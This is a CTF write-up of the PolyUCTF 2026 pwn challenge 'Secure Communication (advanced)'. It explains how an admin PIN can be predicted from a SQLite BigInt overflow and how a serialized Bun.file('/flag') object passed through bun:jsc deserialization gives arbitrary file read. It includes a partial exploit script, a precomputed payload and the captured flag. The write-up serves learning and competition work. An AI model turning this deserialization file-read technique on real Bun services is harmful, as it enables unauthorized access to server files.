Secure Communication (advanced)
PolyUCTF 2026


1. Preface

Challenge authored by Cynthia.

498 pts.

Someone said ARM is the future, but I don’t think it has any relationship with secure communication.

Connection: nc chal.polyuctf.com 35003 and http://chal.polyuctf.com:35003

This is a pwn challenge involving a custom encrypted communication protocol implemented in a Bun standalone binary. It features a sophisticated chain involving SQLite BigInt overflow and Bun JSC deserialization to achieve arbitrary file read.

2. Reconnaissance

The challenge provides a binary chal, which is a Bun standalone executable. By extracting the bundled source code (searching for the ---- Bun! ---- marker), we find a source-advanced-main.js file implementing the server logic.

The protocol uses RSA-OAEP 4096-bit for key exchange, after which all communication is encrypted and serialized.

Crucially, unlike the standard version which used JSON5, this advanced version uses bun:jsc for serialization:

import { deserialize as R } from "bun:jsc";
// ...
let e = R(Buffer.from(c, "base64"));

bun:jsc allows serializing internal Bun objects, which becomes the core of our exploit.

3. Vulnerability Analysis

3.1. Admin PIN Prediction (BigInt Overflow)

The application generates an admin user at startup with a PIN derived from the current time:

var time = Date.now();
time -= time % 5000;
insertUser.run("admin", BigInt(time) ** 2n, true);

The calculation BigInt(time) ** 2n overflows SQLite’s 64-bit signed INTEGER type. When read back, it wraps around. We can predict this value locally to login as admin.

3.2. Arbitrary File Read via JSC Deserialization

The upload command allows admins to write files to /tmp. It performs a check on the file name or type:

if(t.name.match(/^[a-zA-Z0-9_\-\.]html$/)||i.type==="text/html"){
let y=`/tmp/${t.name}`;
await Bun.write(y, await i.content);
// ...
}

The vulnerability lies in how Bun.write handles i.content. If i.content is a Bun.file() object, Bun.write will read from that file and write its content to the destination.

Since bun:jsc deserialize allows us to pass serialized Bun.file() objects, we can construct a malicious payload where content is Bun.file("/flag"). When the server deserializes this and calls Bun.write, it unwittingly reads the flag from the server’s filesystem and writes it to /tmp.

4. Exploitation

The exploit chain is as follows:

  1. Handshake: Perform RSA key exchange.
  2. Login: Predict the admin PIN and login.
  3. Upload Payload: Send a JSC-serialized payload for the upload command:

  4. Trigger Write: The server deserializes the payload and executes Bun.write("/tmp/f", Bun.file("/flag")), copying the flag to /tmp/f.
  5. Retrieve Flag:

4.1. Exploit Script

import sys, time, json, base64, subprocess
from pwn import *
# ... (imports for cryptography)

# Pre-computed JSC payload: upload command with Bun.file("/flag") as content
# Generated by: serialize({command:"upload",files:[{name:"f",content:{type:"text/html",content:Bun.file("/flag")}}]})
BUNFILE_FLAG_JSC_B64 = "DQAAAAIHAACAY29tbWFuZBAGAACAdXBsb2FkBQAAgGZpbGVzAQEAAAAAAAAAAgQAAIBuYW1lEAEAAIBmBwAAgGNvbnRlbnQCBAAAgHR5cGUQCQAAgHRleHQvaHRtbP7///8F/gMAAAAAAAAAABgAAABhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0AAAEFAAAAL2ZsYWcAAAAAAAAAAAD/////////////////////";

def exploit():
r = remote("chal.polyuctf.com", 35003)
# ... (Key exchange and Admin Login logic) ...

# Upload /flag to /tmp/f
log.info("Uploading /flag via Bun.file() JSC deserialization...")
send_raw_jsc(r, BUNFILE_FLAG_JSC_B64, server_pubkey, private_key)

# Start static server
send_command(r, {"command": "start"}, server_pubkey, private_key)

# Read /tmp/f via HTTP
r.sendline(b"GET /f HTTP/1.1\r\nHost: localhost\r\n\r\n")
print(r.recvrepeat(2).decode())

if __name__ == "__main__":
exploit()

Running the script extracts the flag:

[*] HTTP response:
HTTP/1.1 200 OK
content-type: application/octet-stream
content-disposition: filename="f"
content-length: 59
Date: Sun, 15 Mar 2026 04:18:44 GMT

PUCTF26{t8p_h77p_t0g5t2e9_wtKfM1FlxJOm0jKJd2saajwF0pr2dNDX}HTTP/1.1 400 Bad Request
Connection: close

Connection closed. undefined
[+] FLAG: PUCTF26{t8p_h77p_t0g5t2e9_wtKfM1FlxJOm0jKJd2saajwF0pr2dNDX}HTTP/1.1 400 Bad Request